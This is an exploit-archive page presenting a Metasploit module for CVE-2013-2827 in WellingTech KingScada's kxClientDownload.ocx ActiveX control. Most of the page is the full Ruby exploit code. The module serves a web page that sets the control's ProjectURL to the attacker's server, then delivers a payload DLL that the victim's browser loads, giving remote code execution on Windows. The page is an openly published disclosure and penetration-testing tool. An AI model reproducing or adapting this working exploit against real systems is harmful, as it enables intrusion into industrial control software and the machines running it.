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KingScada kxClientDownload.ocx ActiveX Remote Code Execution

KingScada kxClientDownload.ocx ActiveX Remote Code Execution
Posted Feb 11, 2014
Authored by Andrea Micalizzi, juan vazquez | Site metasploit.com

This Metasploit module abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada. The ProjectURL property can be abused to download and load arbitrary DLLs from arbitrary locations, leading to arbitrary code execution, because of a dangerous usage of LoadLibrary. Due to the nature of the vulnerability, this module will work only when Protected Mode is not present or not enabled.

tags | exploit, arbitrary, code execution, activex
advisories | CVE-2013-2827
MD5 | 287d97f2652981fe694264c71eb7c221

KingScada kxClientDownload.ocx ActiveX Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'KingScada kxClientDownload.ocx ActiveX Remote Code Execution',
'Description' => %q{
This module abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada.
The ProjectURL property can be abused to download and load arbitrary DLLs from
arbitrary locations, leading to arbitrary code execution, because of a dangerous
usage of LoadLibrary. Due to the nature of the vulnerability, this module will work
only when Protected Mode is not present or not enabled.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Andrea Micalizzi', # aka rgod original discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2013-2827'],
['OSVDB', '102135'],
['BID', '64941'],
['ZDI', '14-011'],
['URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-344-01']
],
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
},
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => Msf::OperatingSystems::WINDOWS,
:ua_name => /MSIE|KXCLIE/i
},
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500,
'DisableNopes' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 14 2014'))
end

def on_request_exploit(cli, request, target_info)
print_status("Requested: #{request.uri}")

if request.uri =~ /\/libs\/.*\.dll/
print_good("Sending DLL payload")
send_response(cli,
generate_payload_dll(:code => get_payload(cli, target_info)),
'Content-Type' => 'application/octet-stream'
)
return
elsif request.uri =~ /\/libs\//
print_status("Sending not found")
send_not_found(cli)
return
end

content = <<-EOS
<html>
<body>
<object classid='clsid:1A90B808-6EEF-40FF-A94C-D7C43C847A9F' id='#{rand_text_alpha(10 + rand(10))}'>
<param name="ProjectURL" value="#{get_module_uri}"></param>
</object>
</body>
</html>
EOS

print_status("Sending #{self.name}")
send_response_html(cli, content)
end

end

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